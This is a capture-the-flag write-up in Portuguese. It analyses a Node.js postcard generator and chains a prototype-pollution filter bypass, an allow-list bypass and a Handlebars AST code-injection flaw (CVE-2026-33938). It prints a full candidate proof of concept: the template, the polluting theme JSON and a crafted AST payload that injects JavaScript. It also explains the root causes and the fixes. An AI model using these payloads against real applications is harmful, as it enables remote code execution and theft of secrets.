entendendo o aplicativo
no index.html, conseguimos ver que o aplicativo em si é um gerador de cartoes personalizados, nesse sistema existe template, theme e model. O template em si é o modelo html, ou seja, é a onde cada entrada de usuario vai aparecer na pagina. O theme em questao é aparencia desse template, ja o model é aonde estara os objetos que vai preencher o template.
POSTCARD TEMPLATE
<article style="color: {{theme.accent}}">
<h2>{{title}}</h2>
<p>{{message}}</p>
</article>
- theme.accent--> vai pegar a propriedade accent do objeto theme
{{title}}— procura diretamente a propriedadetitle.
{{message}}— procura diretamente a propriedademessage.
theme json
{ "accent": "#254f3d" }
propriedades do objeto theme
Postcard data JSON
{ "title": "Greetings from Velebit", "message": "The bora knows every trail." }
propriedades do objeto model
Request payload
{"template":"<article style=\"color: {{theme.accent}}\">\n <h2>{{title}}</h2>\n <p>{{message}}</p>\n</article>","theme":{"accent":"#254f3d"},"model":{"title":"Greetings from Velebit","message":"The bora knows every trail."}}
analisando o codigo
1. entrada de usuario
no index.html encontramos o codigo javascript que envia os dados para o servidor, ou seja, quando a gente clica no botao de enviar é enviado os dados do usuario para o endpoint api /api/preview.
<script>
const byId = (id) => document.getElementById(id);
byId('preview').addEventListener('click', async () => {
const status = byId('status');
status.textContent = 'Printing…';
try {
const response = await fetch('/api/preview', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
template: byId('template').value,
theme: JSON.parse(byId('theme').value),
model: JSON.parse(byId('model').value)
})
});
const data = await response.json();
status.textContent = JSON.stringify(data, null, 2);
if (data.ok) byId('result').srcdoc = data.output;
} catch (error) {
status.textContent = error.message;
}
});
</script>
2. analisando o endpoint api
no servidor(que é em node.js com framework Express), encontramos o ponto final responsavel por receber e validar os dados enviados pelo usuario, antes mesmo de encaminhá-lo ao processo worker:
app.post("/api/preview", async (request, response) => {
const problem = validateJob(request.body);
if (problem) {
response.status(400).json({ error: problem });
return;
}
const controller = new AbortController();
request.once("aborted", () => controller.abort());
response.once("close", () => {
if (!response.writableEnded) controller.abort();
});
try {
const result = await runWorker(request.body, controller.signal);
response.status(result.ok ? 200 : 422).json(result);
} catch (error) {
response.status(502).json({ error: error.message });
}
});
2.1 validação-validateJob()
seguindo o fluxo de dados encontramos a função validateJob nas linhas 49–79 do arquivo server.js:
function validateJob(body) {
if (!isRecord(body)) {
return "Preview data must be a JSON object";
}
if (typeof body.template !== "string" || body.template.length > 8192) {
return "Template must be a string of at most 8192 characters";
}
if (!isRecord(body.theme) || !isRecord(body.model)) {
return "Theme and model must be JSON objects";
}
if (containsBlockedKey(body.theme) || containsBlockedKey(body.model)) {
return "Unsupported legacy key";
}
if (/\{\{~?\s*>\s*\(/u.test(body.template)) {
return "Dynamic partial expressions are not supported";
}
if (/\{\{~?#\*\s*inline\b/u.test(body.template)) {
return "Custom inline layouts are not supported";
}
const partialTag = /\{\{~?#?>~?\s*([^\s}~]+)/gu;
const allowedPartials = new Set(["@partial-block", "myPartial"]);
for (const match of body.template.matchAll(partialTag)) {
if (!allowedPartials.has(match[1])) {
return "Only the myPartial postcard layout is supported";
}
}
return null;
}
entao antes de enviar para o worker existe essas validações, existe muitas, mas o que mais me interessou foi containsBlockedKey que mostra quais propriedades são consideradas proibidas nos objetos model e theme.
2.1.1 validação incompleta-containsBlockedKey()
olhando as linhas 32-47 do mesmo arquivo(server.js), temos o seguinte trecho de codigo:
function containsBlockedKey(value, seen = new Set()) {
if (value === null || typeof value !== "object" || seen.has(value)) {
return false;
}
seen.add(value);
for (const key of Object.keys(value)) {
if (key === "__proto__") {
return true;
}
if (containsBlockedKey(value[key], seen)) {
return true;
}
}
return false;
}
simplificando muito ele pega o nome da propriedade do objeto e verifica se tem __proto__ se nao tiver ele faz uma recursao, ou seja, ele usa a propria função e vai retornando falso ate encontrar um valor que nao é um objeto, como ele verifica apenas o proto entao conseguimos colocar o constructor prototype para bypass essa validação. Ainda nao confirmos essa vulnerabilidade de poluição de prototipo, ou seja, é apenas uma hipotese que precisamos validar, identificando uma operação de escrita.
2.2 seguindo os dados ate o worker
depois de passar pela validação, o servidor encaminha os dados para o worker:
const result = await runWorker(request.body, controller.signal);
O objeto request.body, contendo template, theme e model, é recebido no parâmetro job e convertido em texto JSON utilizando JSON.stringify():
function runWorker(job, signal){ . . . child.stdin.end(JSON.stringify(job)); }); }
no arquivo worker.js os dados sao enviados para a variavel input e convertidos para objeto javascript utilizando JSON.parse()
process.stdin.on("end", () => {
try {
const output = render(JSON.parse(input));
process.stdout.write(JSON.stringify({ ok: true, output }));
} catch (error) {
process.stdout.write(JSON.stringify({ ok: false, error: error.message }));
process.exitCode = 1;
}
});
traçando o fluxo de dados, vemos que no render existe mergeTheme, deixando a hipotese de poluição de prototipos alta:
function render(job) {
const theme = mergeTheme({}, job.theme);
2.3 analisando o sink inseguro - mergeTheme()
function mergeTheme(target, source) {
for (const [key, value] of Object.entries(source)) {
if (value !== null && typeof value === "object") {
target[key] ??= Array.isArray(value) ? [] : {};
mergeTheme(target[key], value);
} else {
target[key] = value;
}
}
return target;
}
de maneira simplificada essa função pega as propriedades de entrada do objeto theme e mescla para o objeto de destino(target), entao enviando o seguinte payload:
{
"constructor": {
"prototype": {
"auditMarker": "LOCAL_ONLY"
}
}
}
temos que target.constructor vai ser igual a object, vemos isso aqui:
const target = {};
console.log(target.constructor === Object);
// true
mas por que target.constructor é igual a object? porque o objeto de destino esta vazio, ou seja, sem nenhuma propriedade, entao pegamos na cadeia de prototipos. Entretando se nao achamos essa propreidades(constructor) no target ele herda a propriedades pai de object.prototype, ou seja, consulta a cadeia de prototipos:
2. Object.prototype
`constructor: Object`
`toString: function`
`hasOwnProperty: function`
por isso target.constructor é igual a object.
fazendo a segunda recursao temos:
mergeTheme(object, source.constructor)
key = "prototype";
value = { auditMarker: "LOCAL_ONLY" };
terceira chamada:
mergeTheme(Object.prototype, source.constructor.prototype)
key = "auditMarker";
value = "LOCAL_ONLY";
Como o valor é uma string, a função entra no else:
target[key] = value;
portanto temos no final object.prototype.auditMarker="LOCAL_ONLY" ou seja essa propriedade(auditMarker) foi escrita no prototipo compartilhado dos objetos comuns.
exemplo de confirmação:
imagina que temos um objeto vazio chamado novoObjeto, se tentamos acessar novoObjeto.auditMarker, vai funcionar, pois a propriedade auditMarker esta no object.protype, que é justamente o objeto pai no javascript de todos os objetos:
const novoObjeto = {};
console.log(novoObjeto.auditMarker);
// LOCAL_ONLY
2.4 bypass de restrição de propriedades por meio de prototype pollution
o que é uma restrição de propriedades? como o nome ja disse é quando o desenvolvedor cria uma lista de propreidades que podem ser escritas ou modificadas, no codigo essa lista esta colocada aqui:
const writableProperties = {
title: true,
accent: true,
caption: true
};
vamos supor que eu envie Object.prototype["partial-block"] = true;
Agora existe uma propriedade chamada partial-block no protótipo compartilhado.
olhando a lista criada pelo desenvolvedor acima temos 3 propriedades aceitas(title, accept, caption) para modificação e escrita, Mas objetos criados com {} herdam propriedades de Object.prototype.
Portanto:
console.log(writableProperties["partial-block"]);
// true
Mesmo sem o desenvolvedor colocar partial-block na lista de permissões, o JavaScript encontra essa propriedade por herança, isso é logico por que:
O JavaScript faz o seguinte:
- Procura
partial-blockdiretamente emwritableProperties.
- Como não encontra, procura em
Object.prototype.
- Se encontrar, retorna o valor herdado.
- Caso contrário, retorna
undefined.
2.5 CVE-2026-33938
essa cve se da em conta a bibilioteca handlebars, mas o que é o handlebars?
é um mecanismo de template, que transforma valores de propriedades de um objeto em texto, geralmente html.
exemplo:
<p>Olá, meu nome é {{nome}} e eu tenho {{idade}} anos.</p> E passa este Objeto de Dados:
{
"nome": "Carlos",
"idade": 28
}
O Handlebars processa ambos e gera o seguinte Texto/HTML final:
<p>Olá, meu nome é Carlos e eu tenho 28 anos.</p>
existe funcionalidades mais avançadas alem disso no handlebars.
2.5.1 entendendo os helpers
um helper é uma função javascript registrada pelo desenvolvedor para ser utilizada dentro de um template handlebars. Por exemplo:
Handlebars.registerHelper("dobro", function (valor) {
return valor * 2;
});
no template, {{dobro 5}} produz 10. Isso é normal: o template pode chamar funções que a aplicação disponibilizou.
no worker.js do desafio existe o helper setLayoutOption, que é mais sensível porque escreve em um objeto recebido como argumento:
const writableProperties = { title: true, accent: true, caption: true };
Handlebars.registerHelper("setLayoutOption", function (target, options) {
const key = options.hash.key;
const value = options.hash.value;
if (typeof key !== "string" || !writableProperties[key]) {
throw new Error("Theme property is not writable");
}
if (target === null || (typeof target !== "object" && typeof target !== "function")) {
throw new Error("Theme target is invalid");
}
target[key] = value;
return "";
});
traduzindo: target é o objeto de destino; key é o nome da propriedade; value é o novo valor. O risco depende de qual objeto conseguimos fornecer em target. Como explicado na seção anterior, a consulta writableProperties[key] aceita propriedades herdadas depois da Prototype Pollution.
2.5.2 entendendo partials e @partial-block
um partial é um pedaço reutilizável de template. Por exemplo, podemos ter um partial chamado myPartial, que fornece a moldura do cartão:
<section class="postcard-layout">
{{> @partial-block}}
</section>
e usar esse partial no template principal:
{{#> myPartial}}
<h2>Olá!</h2>
{{/myPartial}}
nesse caso, @partial-block representa o conteúdo colocado entre {{#> myPartial}} e {{/myPartial}}.
no arquivo src/templates/postcard-layout.hbs do desafio, a referência aparece duas vezes:
<section class="postcard-layout">
{{> @partial-block}}
{{> @partial-block}}
</section>
esse detalhe é importante para a CVE: o conteúdo executado na primeira passagem pode chamar um helper que altera uma estrutura interna consultada novamente na segunda passagem.
2.5.3 o que é um data frame e o que significa @_parent?
o handlebars mantém objetos internos chamados data frames para armazenar informações da renderização. Um desses objetos pode guardar a propriedade partial-block, normalmente associada a uma função de renderização.
imaginando um objeto simplificado:
const dataFrame = {
"partial-block": funcaoOriginal
};
em contextos aninhados, o handlebars permite acessar o frame pai por meio de @_parent. Essa referência não é Object.prototype: são dois conceitos diferentes.
se um helper receber uma referência ao frame correto e executar:
target["partial-block"] = payload;
e target apontar para o mesmo objeto que o handlebars vai utilizar depois, o valor original terá sido substituído. Isso acontece porque objetos javascript são passados por referência ao objeto, e não copiados automaticamente.
2.5.4 ligação entre a prototype pollution e o helper
para modificar partial-block, o template precisaria fazer a lista writableProperties aceitar essa chave, mas ela não está entre title, accent e caption.
entretanto, o theme abaixo passa pelo filtro de __proto__ e, quando processado pelo mergeTheme() vulnerável, pode escrever no protótipo compartilhado:
{
"constructor": {
"prototype": {
"partial-block": true
}
}
}
como writableProperties é um objeto comum, a verificação writableProperties["partial-block"] encontra o valor true por herança.
então surge a seguinte chamada no template do desafio:
{{setLayoutOption @_parent key="partial-block" value=payload}}
substituindo os parâmetros para compreender a ideia:
target = /* frame pai referenciado por @_parent */;
key = "partial-block";
value = /* objeto AST em model.payload */;
// escrita executada pelo helper:
target[key] = value;
isso cria uma hipótese de escrita sobre o data frame que o handlebars utilizará mais tarde. Para afirmar que a cadeia inteira funciona neste desafio, precisamos confirmar em execução que @_parent realmente referencia o frame consumido pelo próximo {{> @partial-block}}.
2.5.5 o que é AST e por que o objeto payload é perigoso?
AST significa Abstract Syntax Tree, ou árvore sintática abstrata. É a representação estruturada de um programa. Normalmente, o parser do handlebars cria essa estrutura a partir de um template, como {{title}}.
um AST conceitual possui tipos como Program, MustacheStatement e PathExpression. O compilador utiliza essas propriedades para decidir quais instruções JavaScript produzir.
um objeto manipulado pode declarar que é um programa, mas conter valores inesperados nos campos internos:
const payload = {
type: "Program",
body: [{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
depth: "0])),function () {console.log('LIKACTF_RCE_MARKER');}()));//"
}
}]
};
no exemplo acima, o campo path.depth deveria representar uma profundidade de contexto, normalmente numérica, mas recebe uma string com sintaxe javascript. Essa é a parte usada para tentar provocar Code Injection. O objeto não executa código sozinho: ele precisa chegar ao compilador vulnerável.
2.5.6 onde o runtime do handlebars recebe o objeto?
no arquivo do handlebars 4.7.8 lib/handlebars/runtime.js, a função resolvePartial() procura o valor correspondente a @partial-block no data frame:
partial = options.data['partial-block'];
quando o valor original é uma função, a renderização acontece normalmente. Quando o valor passa a ser um objeto AST, o runtime possui um caminho alternativo em invokePartialWrapper() que tenta compilá-lo:
options.partials[options.name] = env.compile(partial, templateSpec.compilerOptions, env);
nesse momento, se partial for o AST controlado pelo usuário, a operação equivale a env.compile(payload, ...). Esse é o ponto em que um objeto que deveria ser apenas dado chega a uma função responsável por compilar código.
fonte da biblioteca: https://github.com/handlebars-lang/handlebars.js/blob/v4.7.8/lib/handlebars/runtime.js
2.5.7 rastreando path.depth até o compilador de javascript
a próxima etapa acontece em dois arquivos da biblioteca. No lib/handlebars/compiler/compiler.js, o método associado a PathExpression utiliza a profundidade fornecida no AST para criar uma operação interna:
this.opcode('getContext', path.depth);
no lib/handlebars/compiler/javascript-compiler.js, o método getContext() guarda o valor recebido:
this.lastContext = depth;
depois pushContext() usa esse valor para construir uma referência ao contexto, chamando contextName(this.lastContext).
em contextName(), o compilador monta partes do javascript gerado por concatenação. Com uma profundidade válida, como 1, pode produzir uma referência semelhante a depths[1]. Com uma string inesperada, os caracteres dessa string podem ser incorporados à sintaxe do javascript produzido, e não tratados apenas como um número.
por fim, o compilador reúne o código-fonte gerado e cria uma função utilizando:
return Function.apply(this, params);
isso não significa que qualquer texto do JSON é executado automaticamente. A vulnerabilidade exige um AST que atravesse esse caminho, que seus campos afetem a geração de javascript e que a função compilada seja utilizada durante a renderização.
fontes do compilador:
- https://github.com/handlebars-lang/handlebars.js/blob/v4.7.8/lib/handlebars/compiler/compiler.js
- https://github.com/handlebars-lang/handlebars.js/blob/v4.7.8/lib/handlebars/compiler/javascript-compiler.js
2.5.8 explicando os fechamentos do campo depth
vamos olhar somente a parte do marcador do campo depth:
"0])),function () {console.log('LIKACTF_RCE_MARKER');}()));//"
essa string não é um programa javascript independente. Ela foi construída para ser inserida dentro de um programa que o compilador já está gerando.
0]: tenta completar um acesso a contexto semelhante adepths[0];)): tenta fechar expressões ou chamadas já abertas pelo código gerado;,function () { ... }(): introduz uma função anônima e tenta executá-la imediatamente;));: tenta encerrar as estruturas externas restantes;//: comenta os caracteres que o compilador ainda acrescentaria na mesma linha.
os fechamentos específicos dependem da expressão real emitida pelo compilador. Para afirmar exatamente qual parêntese fecha qual função, seria necessário inspecionar o javascript integral gerado nessa versão, e não apenas a função contextName().
2.5.9 PoC candidata de execução com marcador no CTF
na interface local do desafio, os três campos a serem preenchidos são:
Postcard template:
{{#> myPartial}}
{{setLayoutOption @_parent key="partial-block" value=1}}
{{setLayoutOption @_parent key="partial-block" value=payload}}
{{/myPartial}}
Theme JSON:
{"constructor":{"prototype":{"partial-block":true}}}
Postcard data JSON:
{
"payload": {
"type": "Program",
"body": [{
"type": "MustacheStatement",
"depth": 0,
"path": {
"type": "PathExpression",
"parts": ["pop"],
"original": "this.pop",
"depth": "0])),function () {throw new Error('LIKACTF_RCE_MARKER');}()));//"
}
}]
}
}
essa PoC tenta provocar uma exceção com o texto LIKACTF_RCE_MARKER caso o javascript injetado seja realmente executado no worker. Ela se baseia no mecanismo publicado para a CVE, adaptado ao helper e ao layout deste desafio.
no worker.js, o tratamento de erros devolve a mensagem da exceção como JSON:
process.stdout.write(JSON.stringify({ ok: false, error: error.message }));
portanto, um retorno contendo LIKACTF_RCE_MARKER seria uma evidência observável de execução. Um HTTP 422, sozinho, não comprova RCE: pode indicar apenas erro de validação ou de compilação. É importante repetir o teste com um tema normal, sem a poluição, para conferir se a alteração seria bloqueada.
estado desta análise: a Prototype Pollution e o bypass da lista de propriedades foram reproduzidos isoladamente; o JSON da PoC passou pela validação do desafio; porém a cadeia completa até a RCE não foi confirmada de ponta a ponta no material analisado. Logo, essa PoC é candidata, não um exploit comprovadamente funcional no aplicativo.
2.5.10 relação com a flag do desafio
no laboratório, o servidor fornece um arquivo de flag ao worker em /tmp/lika/flag.txt. O processo é iniciado com permissão de leitura desse caminho. Isso explica por que uma eventual execução de JavaScript arbitrário dentro do worker poderia comprometer o segredo do próprio CTF.
caso uma RCE seja demonstrada, ainda é necessário comprovar separadamente a leitura do arquivo e a presença de seu conteúdo na resposta. Não devemos afirmar que a flag foi recuperada apenas porque encontramos uma Prototype Pollution ou porque a biblioteca utiliza uma versão afetada.
2.5.11 causa raiz, impacto e correção
neste desafio, a cadeia proposta combina problemas distintos:
- Prototype Pollution na aplicação: o filtro bloqueia apenas
__proto__, enquantomergeTheme()pode seguirconstructor.prototypeatéObject.prototype. - Bypass da lista de propriedades:
writableProperties[key]aceita valores herdados em vez de conferir apenas propriedades autorizadas diretamente. - Mutação de estado interno: o helper permite escrever em um objeto que pode ser um data frame do handlebars.
- CVE-2026-33938 na biblioteca: o Handlebars 4.7.8 pode compilar um AST não confiável colocado em
@partial-block, permitindo Code Injection e RCE quando a cadeia é alcançável.
as principais correções são: rejeitar as chaves __proto__, constructor e prototype em mesclagens de objetos não confiáveis; não seguir propriedades herdadas durante a recursão; usar uma lista de propriedades com Set.has() ou Object.hasOwn(); restringir quais objetos os helpers conseguem modificar; e atualizar a biblioteca para uma versão corrigida, no mínimo a 4.7.9 para esta CVE, preferencialmente uma versão de manutenção mais recente.
conclusão: a Prototype Pollution não executa javascript diretamente. Ela pode abrir o caminho para modificar uma estrutura interna do handlebars. A RCE documentada na CVE-2026-33938 ocorre quando um AST controlado entra no compilador vulnerável e influencia o código javascript gerado e executado. No desafio, essa cadeia permanece como hipótese até a reprodução integral.
2.5.12 referências
- aviso oficial da CVE-2026-33938: https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r
- runtime do handlebars 4.7.8: https://github.com/handlebars-lang/handlebars.js/blob/v4.7.8/lib/handlebars/runtime.js
- compilador do handlebars 4.7.8: https://github.com/handlebars-lang/handlebars.js/blob/v4.7.8/lib/handlebars/compiler/compiler.js
- gerador de javascript: https://github.com/handlebars-lang/handlebars.js/blob/v4.7.8/lib/handlebars/compiler/javascript-compiler.js